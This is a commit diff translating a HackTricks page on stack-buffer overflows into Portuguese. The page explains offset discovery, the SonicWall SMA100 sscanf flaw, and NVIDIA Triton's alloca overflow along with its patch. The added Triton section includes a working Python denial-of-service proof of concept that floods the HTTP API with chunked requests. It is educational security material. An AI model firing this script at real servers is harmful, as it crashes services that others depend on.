mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['src/binary-exploitation/stack-overflow/README.md'] to pt
This commit is contained in:
parent
7211d1b297
commit
8f046c4d75
@ -8,11 +8,11 @@ Um **stack overflow** é uma vulnerabilidade que ocorre quando um programa escre
|
|||||||
|
|
||||||
O principal problema dessa sobrescrita é que o **ponteiro de instrução salvo (EIP/RIP)** e o **ponteiro de base salvo (EBP/RBP)** para retornar à função anterior estão **armazenados na pilha**. Portanto, um atacante poderá sobrescrever esses valores e **controlar o fluxo de execução do programa**.
|
O principal problema dessa sobrescrita é que o **ponteiro de instrução salvo (EIP/RIP)** e o **ponteiro de base salvo (EBP/RBP)** para retornar à função anterior estão **armazenados na pilha**. Portanto, um atacante poderá sobrescrever esses valores e **controlar o fluxo de execução do programa**.
|
||||||
|
|
||||||
A vulnerabilidade geralmente surge porque uma função **copia na pilha mais bytes do que a quantidade alocada para ela**, conseguindo assim sobrescrever outras partes da pilha.
|
A vulnerabilidade geralmente surge porque uma função **copia para dentro da pilha mais bytes do que a quantidade alocada para ela**, conseguindo assim sobrescrever outras partes da pilha.
|
||||||
|
|
||||||
Algumas funções comuns vulneráveis a isso são: **`strcpy`, `strcat`, `sprintf`, `gets`**... Além disso, funções como **`fgets`**, **`read` & `memcpy`** que aceitam um **argumento de comprimento**, podem ser usadas de maneira vulnerável se o comprimento especificado for maior do que o alocado.
|
Algumas funções comuns vulneráveis a isso são: **`strcpy`, `strcat`, `sprintf`, `gets`**... Além disso, funções como **`fgets`**, **`read` & `memcpy`** que aceitam um **argumento de comprimento**, podem ser usadas de maneira vulnerável se o comprimento especificado for maior do que o alocado.
|
||||||
|
|
||||||
Por exemplo, as seguintes funções poderiam ser vulneráveis:
|
Por exemplo, as seguintes funções podem ser vulneráveis:
|
||||||
```c
|
```c
|
||||||
void vulnerable() {
|
void vulnerable() {
|
||||||
char buffer[128];
|
char buffer[128];
|
||||||
@ -21,13 +21,13 @@ gets(buffer); // This is where the vulnerability lies
|
|||||||
printf("You entered: %s\n", buffer);
|
printf("You entered: %s\n", buffer);
|
||||||
}
|
}
|
||||||
```
|
```
|
||||||
### Encontrando offsets de Stack Overflows
|
### Encontrando os offsets de Stack Overflows
|
||||||
|
|
||||||
A maneira mais comum de encontrar stack overflows é fornecer uma entrada muito grande de `A`s (por exemplo, `python3 -c 'print("A"*1000)'`) e esperar um `Segmentation Fault` indicando que o **endereço `0x41414141` foi tentado acessar**.
|
A maneira mais comum de encontrar stack overflows é fornecer uma entrada muito grande de `A`s (por exemplo, `python3 -c 'print("A"*1000)'`) e esperar um `Segmentation Fault` indicando que o **endereço `0x41414141` foi tentado acessar**.
|
||||||
|
|
||||||
Além disso, uma vez que você encontrou que há uma vulnerabilidade de Stack Overflow, você precisará encontrar o offset até que seja possível **sobrescrever o endereço de retorno**, para isso geralmente é usada uma **sequência de De Bruijn.** Que para um alfabeto dado de tamanho _k_ e subsequências de comprimento _n_ é uma **sequência cíclica na qual cada possível subsequência de comprimento _n_ aparece exatamente uma vez** como uma subsequência contígua.
|
Além disso, uma vez que você encontrou que há uma vulnerabilidade de Stack Overflow, você precisará encontrar o offset até que seja possível **sobrescrever o endereço de retorno**, para isso geralmente é usada uma **sequência de De Bruijn.** Que para um alfabeto dado de tamanho _k_ e subsequências de comprimento _n_ é uma **sequência cíclica na qual cada subsequência possível de comprimento _n_ aparece exatamente uma vez** como uma subsequência contígua.
|
||||||
|
|
||||||
Dessa forma, em vez de precisar descobrir manualmente qual offset é necessário para controlar o EIP, é possível usar como preenchimento uma dessas sequências e, em seguida, encontrar o offset dos bytes que acabaram sobrescrevendo-o.
|
Dessa forma, em vez de precisar descobrir manualmente qual offset é necessário para controlar o EIP, é possível usar como preenchimento uma dessas sequências e, em seguida, encontrar o offset dos bytes que acabaram sobrescrevendo-a.
|
||||||
|
|
||||||
É possível usar **pwntools** para isso:
|
É possível usar **pwntools** para isso:
|
||||||
```python
|
```python
|
||||||
@ -50,7 +50,7 @@ pattern search $rsp #Search the offset given the content of $rsp
|
|||||||
```
|
```
|
||||||
## Explorando Estouro de Pilha
|
## Explorando Estouro de Pilha
|
||||||
|
|
||||||
Durante um estouro (supondo que o tamanho do estouro seja grande o suficiente) você poderá **sobrescrever** valores de variáveis locais dentro da pilha até alcançar o **EBP/RBP e EIP/RIP salvos (ou até mais)**.\
|
Durante um estouro (supondo que o tamanho do estouro seja grande o suficiente), você poderá **sobrescrever** valores de variáveis locais dentro da pilha até alcançar o **EBP/RBP e EIP/RIP salvos (ou até mais)**.\
|
||||||
A maneira mais comum de abusar desse tipo de vulnerabilidade é **modificando o endereço de retorno** para que, quando a função terminar, o **fluxo de controle seja redirecionado para onde o usuário especificou** neste ponteiro.
|
A maneira mais comum de abusar desse tipo de vulnerabilidade é **modificando o endereço de retorno** para que, quando a função terminar, o **fluxo de controle seja redirecionado para onde o usuário especificou** neste ponteiro.
|
||||||
|
|
||||||
No entanto, em outros cenários, apenas **sobrescrever alguns valores de variáveis na pilha** pode ser suficiente para a exploração (como em desafios CTF fáceis).
|
No entanto, em outros cenários, apenas **sobrescrever alguns valores de variáveis na pilha** pode ser suficiente para a exploração (como em desafios CTF fáceis).
|
||||||
@ -79,7 +79,7 @@ Esta técnica é a estrutura fundamental para contornar a principal proteção d
|
|||||||
../rop-return-oriented-programing/
|
../rop-return-oriented-programing/
|
||||||
{{#endref}}
|
{{#endref}}
|
||||||
|
|
||||||
## Estouro de Heap
|
## Estouros de Heap
|
||||||
|
|
||||||
Um estouro não ocorrerá sempre na pilha, também pode ocorrer no **heap**, por exemplo:
|
Um estouro não ocorrerá sempre na pilha, também pode ocorrer no **heap**, por exemplo:
|
||||||
|
|
||||||
@ -97,8 +97,7 @@ Existem várias proteções tentando prevenir a exploração de vulnerabilidades
|
|||||||
|
|
||||||
### Exemplo do Mundo Real: CVE-2025-40596 (SonicWall SMA100)
|
### Exemplo do Mundo Real: CVE-2025-40596 (SonicWall SMA100)
|
||||||
|
|
||||||
Uma boa demonstração de por que **`sscanf` nunca deve ser confiável para analisar entradas não confiáveis** apareceu em 2025 no dispositivo SSL-VPN SMA100 da SonicWall.
|
Uma boa demonstração de por que **`sscanf` nunca deve ser confiado para analisar entradas não confiáveis** apareceu em 2025 no dispositivo SSL-VPN SMA100 da SonicWall. A rotina vulnerável dentro de `/usr/src/EasyAccess/bin/httpd` tenta extrair a versão e o endpoint de qualquer URI que comece com `/__api__/`:
|
||||||
A rotina vulnerável dentro de `/usr/src/EasyAccess/bin/httpd` tenta extrair a versão e o endpoint de qualquer URI que comece com `/__api__/`:
|
|
||||||
```c
|
```c
|
||||||
char version[3];
|
char version[3];
|
||||||
char endpoint[0x800] = {0};
|
char endpoint[0x800] = {0};
|
||||||
@ -121,7 +120,66 @@ Mesmo que canários de pilha abortem o processo, um atacante ainda ganha um **De
|
|||||||
* Sempre forneça uma **largura máxima de campo** (por exemplo, `%511s`).
|
* Sempre forneça uma **largura máxima de campo** (por exemplo, `%511s`).
|
||||||
* Prefira alternativas mais seguras, como `snprintf`/`strncpy_s`.
|
* Prefira alternativas mais seguras, como `snprintf`/`strncpy_s`.
|
||||||
|
|
||||||
|
### Exemplo do Mundo Real: CVE-2025-23310 & CVE-2025-23311 (NVIDIA Triton Inference Server)
|
||||||
|
|
||||||
|
O Triton Inference Server da NVIDIA (≤ v25.06) continha múltiplos **estouramentos de pilha** acessíveis através de sua API HTTP. O padrão vulnerável apareceu repetidamente em `http_server.cc` e `sagemaker_server.cc`:
|
||||||
|
```c
|
||||||
|
int n = evbuffer_peek(req->buffer_in, -1, NULL, NULL, 0);
|
||||||
|
if (n > 0) {
|
||||||
|
/* allocates 16 * n bytes on the stack */
|
||||||
|
struct evbuffer_iovec *v = (struct evbuffer_iovec *)
|
||||||
|
alloca(sizeof(struct evbuffer_iovec) * n);
|
||||||
|
...
|
||||||
|
}
|
||||||
|
```
|
||||||
|
1. `evbuffer_peek` (libevent) retorna o **número de segmentos de buffer internos** que compõem o corpo da solicitação HTTP atual.
|
||||||
|
2. Cada segmento causa a alocação de um `evbuffer_iovec` de **16 bytes** na **pilha** via `alloca()` – **sem nenhum limite superior**.
|
||||||
|
3. Ao abusar do **_chunked transfer-encoding_ HTTP**, um cliente pode forçar a solicitação a ser dividida em **centenas de milhares de chunks de 6 bytes** (`"1\r\nA\r\n"`). Isso faz com que `n` cresça sem limites até que a pilha se esgote.
|
||||||
|
|
||||||
|
#### Prova de Conceito (DoS)
|
||||||
|
```python
|
||||||
|
#!/usr/bin/env python3
|
||||||
|
import socket, sys
|
||||||
|
|
||||||
|
def exploit(host="localhost", port=8000, chunks=523_800):
|
||||||
|
s = socket.create_connection((host, port))
|
||||||
|
s.sendall((
|
||||||
|
f"POST /v2/models/add_sub/infer HTTP/1.1\r\n"
|
||||||
|
f"Host: {host}:{port}\r\n"
|
||||||
|
"Content-Type: application/octet-stream\r\n"
|
||||||
|
"Inference-Header-Content-Length: 0\r\n"
|
||||||
|
"Transfer-Encoding: chunked\r\n"
|
||||||
|
"Connection: close\r\n\r\n"
|
||||||
|
).encode())
|
||||||
|
|
||||||
|
for _ in range(chunks): # 6-byte chunk ➜ 16-byte alloc
|
||||||
|
s.send(b"1\r\nA\r\n") # amplification factor ≈ 2.6x
|
||||||
|
s.sendall(b"0\r\n\r\n") # end of chunks
|
||||||
|
s.close()
|
||||||
|
|
||||||
|
if __name__ == "__main__":
|
||||||
|
exploit(*sys.argv[1:])
|
||||||
|
```
|
||||||
|
Uma solicitação de ~3 MB é suficiente para sobrescrever o endereço de retorno salvo e **crash** o daemon em uma build padrão.
|
||||||
|
|
||||||
|
#### Patch & Mitigação
|
||||||
|
A versão 25.07 substitui a alocação de pilha insegura por um **`std::vector` baseado em heap** e lida graciosamente com `std::bad_alloc`:
|
||||||
|
```c++
|
||||||
|
std::vector<evbuffer_iovec> v_vec;
|
||||||
|
try {
|
||||||
|
v_vec = std::vector<evbuffer_iovec>(n);
|
||||||
|
} catch (const std::bad_alloc &e) {
|
||||||
|
return TRITONSERVER_ErrorNew(TRITONSERVER_ERROR_INVALID_ARG, "alloc failed");
|
||||||
|
}
|
||||||
|
struct evbuffer_iovec *v = v_vec.data();
|
||||||
|
```
|
||||||
|
Lições aprendidas:
|
||||||
|
* Nunca chame `alloca()` com tamanhos controlados pelo atacante.
|
||||||
|
* Solicitações em partes podem mudar drasticamente a forma dos buffers do lado do servidor.
|
||||||
|
* Valide / limite qualquer valor derivado da entrada do cliente *antes* de usá-lo em alocações de memória.
|
||||||
|
|
||||||
## Referências
|
## Referências
|
||||||
* [watchTowr Labs – Stack Overflows, Heap Overflows and Existential Dread (SonicWall SMA100)](https://labs.watchtowr.com/stack-overflows-heap-overflows-and-existential-dread-sonicwall-sma100-cve-2025-40596-cve-2025-40597-and-cve-2025-40598/)
|
* [watchTowr Labs – Stack Overflows, Heap Overflows and Existential Dread (SonicWall SMA100)](https://labs.watchtowr.com/stack-overflows-heap-overflows-and-existential-dread-sonicwall-sma100-cve-2025-40596-cve-2025-40597-and-cve-2025-40598/)
|
||||||
|
* [Trail of Bits – Uncovering memory corruption in NVIDIA Triton](https://blog.trailofbits.com/2025/08/04/uncovering-memory-corruption-in-nvidia-triton-as-a-new-hire/)
|
||||||
|
|
||||||
{{#include ../../banners/hacktricks-training.md}}
|
{{#include ../../banners/hacktricks-training.md}}
|
||||||
|
|||||||
Loading…
x
Reference in New Issue
Block a user